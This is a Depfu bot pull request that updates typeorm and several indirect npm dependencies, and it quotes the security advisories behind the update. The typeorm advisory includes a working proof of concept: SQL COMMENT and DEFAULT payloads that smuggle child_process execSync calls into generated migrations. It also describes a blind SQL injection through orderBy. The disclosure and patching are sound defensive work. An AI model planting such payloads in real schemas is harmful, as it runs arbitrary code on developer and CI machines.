Skip to content

🚨 [security] Update typeorm 0.3.27 → 0.3.31 (minor)#282

Open
depfu[bot] wants to merge 1 commit into
mainfrom
depfu-update-npm-typeorm-0.3.31
Open

🚨 [security] Update typeorm 0.3.27 → 0.3.31 (minor)#282
depfu[bot] wants to merge 1 commit into
mainfrom
depfu-update-npm-typeorm-0.3.31

Conversation

@depfu

@depfu depfu Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ typeorm (0.3.27 → 0.3.31) · Repo · Changelog

Security Advisories 🚨

🚨 TypeORM: migration:generate template-literal code injection

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

🚨 TypeORM: SQL Injection in UpdateQueryBuilder/SoftDeleteQueryBuilder orderBy (MySQL/MariaDB)

Impact

Blind SQL injection vulnerability in UpdateQueryBuilder and SoftDeleteQueryBuilder affecting MySQL and MariaDB users.

UpdateQueryBuilder and SoftDeleteQueryBuilder (including their addOrderBy variants) do not validate the order parameter against an allowlist of permitted values (ASC/DESC). The caller-supplied value is stored verbatim and concatenated directly into the generated SQL string without quoting or parameterization. SelectQueryBuilder.orderBy performs this validation correctly; the affected builders do not.

If any code path passes user-controlled input to orderBy/addOrderBy on an update or soft-delete query, an attacker can inject arbitrary SQL via the sort direction — even when the column name itself is hardcoded.

Demonstrated impact includes:

  • Data exfiltration via time-based blind extraction (e.g. using SLEEP() to infer secret values bit by bit)
  • Row targeting manipulation in queries using LIMIT patterns
  • Denial of service via SLEEP()-based query exhaustion

CVSS 3.1: 8.6 (High)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Affected files (relative to commit 73fda419):

  • src/query-builder/UpdateQueryBuilder.ts: lines 383–419 and 718–744
  • src/query-builder/SoftDeleteQueryBuilder.ts: lines 352–388 and 520–546

The vulnerability was introduced in commit 03799bd2 (v0.1.12) and is present through the latest release (v0.3.28).

Patches

A fix has been released in 0.3.29 (1b66c44) and 1.0.0 (93eec63).

Workarounds

Applications can manually validate the order argument before passing it to orderBy or addOrderBy on update or soft-delete query builders:

const direction = userInput.toUpperCase();
if (direction !== 'ASC' && direction !== 'DESC') {
  throw new Error('Invalid sort direction');
}
qb.orderBy(column, direction as 'ASC' | 'DESC');

Do not pass user-controlled values to orderBy/addOrderBy on UpdateQueryBuilder or SoftDeleteQueryBuilder without this validation.

References

  • Introduced in commit 03799bd (v0.1.12)
  • Confirmed present in v0.3.28 (commit 73fda41)
  • See SelectQueryBuilder.orderBy for the correct validation pattern this fix should mirror
Release Notes

0.3.31

Bug Fixes

  • cache: release query runner on error in storeInCache (#12545) (a84b9b3)
  • correct grammar in AlreadyHasActiveConnectionError message (#12554) (304d129)
  • entity-manager: default invalidWhereValuesBehavior to throw on the write path (#12690) (44d8052)
  • entity-manager: validate where criteria in increment/decrement (#12692) (8a51b75)
  • mongodb: use cursor.transform for doc to entity transformation and skip load broadcast in next if toArray (#11926) (0bbefc9)
  • move hashing function to PlatformTools (#12648) (c456cbd)
  • multiple recursive cte problems (#12490) (7c26654)
  • normalization of FindOptionsWhere for arrays and Buffers (#12577) (a8173fc)
  • persistence: preserve select false columns on the in-memory entity after save() (#12501) (324c46c)
  • postgres: improve normalizeDatetimeFunction for tstzrange data type (#12182) (bf47c9f)
  • query-builder: reject empty where criteria on update and delete operations (#12629) (81b9466)
  • query-builder: wrap inner joins under left joins correctly (#11137) (d5f4b9d)
  • remove require() calls that break bundlers (#12647) (30f9fc7)
  • tree-entity: tree entity schema propagation in internal TreeRepository methods (#12590) (7fb7c2c)

Full Changelog: 0.3.30...0.3.31

0.3.30

What's Changed

  • fix: scope invalidWhereValuesBehavior to high-level abstractions only by @naorpeled in #11878
  • fix: scope computed-columns join to correct table in MSSQL schema query by @PreAgile in #12288
  • fix: preserve user-defined shared join columns in change set by @PreAgile in #12354
  • revert: fix up limit with joins by @alumni
  • fix(find-options): allow array values in JsonContains by @kyungseopk1m in #12420
  • fix(cockroachdb): adjust join in loadTables to load correct table columns by @Cprakhar in #12413
  • ci: use the v0.3 branch as base for detect-changes by @alumni
  • chore(release): release 0.3.30 by @alumni in #12511

Full Changelog: 0.3.29...0.3.30

0.3.29

What's Changed

New Contributors

Full Changelog: 0.3.28...0.3.29

0.3.28

What's Changed

New Contributors

Full Changelog: 0.3.27...0.3.28

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ dayjs (indirect, 1.11.19 → 1.11.21) · Repo · Changelog

Release Notes

1.11.21

1.11.21 (2026-05-26)

Bug Fixes

1.11.20

1.11.20 (2026-03-12)

Bug Fixes

  • Update locale km.js to support meridiem (#3017) (9d2b6a1)
  • update updateLocale plugin to merge nested object properties instead of replacing (#3012) (99691c5), closes #1118

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ dedent (indirect, 1.7.0 → 1.7.2) · Repo · Changelog

Release Notes

1.7.2

What's Changed

New Contributors

Full Changelog: v1.7.1...v1.7.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ uuid (indirect, 11.1.0 → 11.1.1) · Repo · Changelog

Security Advisories 🚨

🚨 uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided

Summary

The v3(), v5(), and v6() API methods (not uuid release versions) accept external output buffers but do not reject out-of-range writes (small buf or large offset).
By contrast, v4(), v1(), and v7() API methods explicitly throw RangeError on invalid bounds.

This inconsistency allows silent partial writes into caller-provided buffers.

Affected code

  • src/v35.ts (v3()/v5() path) writes buf[offset + i] without bounds validation.
  • src/v6.ts writes buf[offset + i] without bounds validation.

Reproducible PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4()',()=>v4({},new Uint8Array(8),4)],
['v5()',()=>v5('x',ns,new Uint8Array(8),4)],
['v6()',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"

Observed:

  • v4() THREW RangeError
  • v5() NO_THROW
  • v6() NO_THROW

Example partial overwrite evidence captured during audit:

same true buf [
  170, 170, 170, 170,
   75, 224, 100,  63
]
v6 [
  187, 187, 187, 187,
   31,  19, 185,  64
]

Security impact

  • Primary: integrity/robustness issue (silent partial output).
  • If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
  • In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.

Suggested fix

Add the same guard used by v4()/v1()/v7():

if (offset < 0 || offset + 16 > buf.length) {
  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}

Apply to:

  • src/v35.ts (covers v3() and v5())
  • src/v6.ts
Release Notes

11.1.1

11.1.1 (2026-04-29)

Bug Fixes

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ yargs (indirect, 17.7.2 → 17.7.3) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 glob (added, 10.5.0)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)
Go to the Depfu Dashboard to see the state of your dependencies and to customize how Depfu works.

@depfu depfu Bot added dependencies Only updates dependecies depfu labels Jul 21, 2026
@depfu depfu Bot assigned Tobi2K Jul 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Only updates dependecies depfu

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant